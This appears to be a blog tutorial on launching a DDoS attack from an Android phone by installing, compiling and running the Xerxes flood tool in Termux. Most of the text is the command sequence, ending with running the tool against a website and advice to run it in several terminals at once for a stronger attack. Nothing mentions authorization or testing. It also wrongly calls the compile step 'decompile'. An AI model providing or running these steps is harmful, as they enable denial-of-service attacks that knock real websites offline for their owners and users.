How to Execute a DDoS Attack on Mobile Using Xerxes via Termux
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"How to Execute a DDoS Attack on Mobile Using Xerxes via Termux
Greetings, friends!
Welcome back to my blog. Today I'll guide you on performing a DDoS attack on mobile using Xerxes via the Termux app. We'll leverage Termux, a terminal emulator and a lightweight version of Linux.
What Is Termux:
Termux, as described on its website, is a terminal emulator and a compact Linux version compatible with smartphones. It allows running a small Linux environment on your Android device.
Basic Requirements:
1. Android device with version 5.0 (Lollipop) or above.
2. Termux app (available on the Play Store).
3. Hacker's keyboard (also available on the Play Store).
4. Patience and a sharp mind.
5. Avoid spelling mistakes.
Installation Steps:
1. Install Termux from the Play Store with your mobile data turned on.
2. Open Termux and update it using the command: pkg update
3. Upgrade Termux with the command: pkg upgrade
4. To run Xerxes in Termux, install the required packages: pkg install git
5. Install the Clang package: pkg install clang
6. Clone the Xerxes GitHub file: git clone https://github.com/zanyarjamal/xerxes.git
7. Navigate to the Xerxes directory: cd xerxes
8. Decompile the Xerxes.c file: clang xerxes.c -o xerxes
Running Xerxes:
1. Execute the DDoS attack with the command: ./xerxes www.website.com 80
2. For a stronger attack, open multiple terminals and run the command multiple times.
Precautions:
1. Ensure internet connectivity during the Xerxes installation process.
2. Avoid spelling mistakes in commands.
3. Stay calm to troubleshoot any issues in Termux.
Closing Words:
That concludes today's topic. I hope you grasp the process of installing and running the Xerxes package in Termux. If you've gained knowledge from my blog, it's an honor. Keep visiting, keep supporting.
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